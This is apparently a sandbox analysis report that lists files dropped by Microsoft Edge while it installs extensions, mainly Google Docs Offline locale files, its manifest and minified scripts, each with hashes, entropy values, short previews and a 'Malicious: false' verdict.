SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\e343b280-7841-40e2-a497-f53e2e96b3e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7008_963927441\210eae70-9b07-40db-9050-a0893f4db9f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7008_963927441\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7008_963927441\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7008_963927441\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
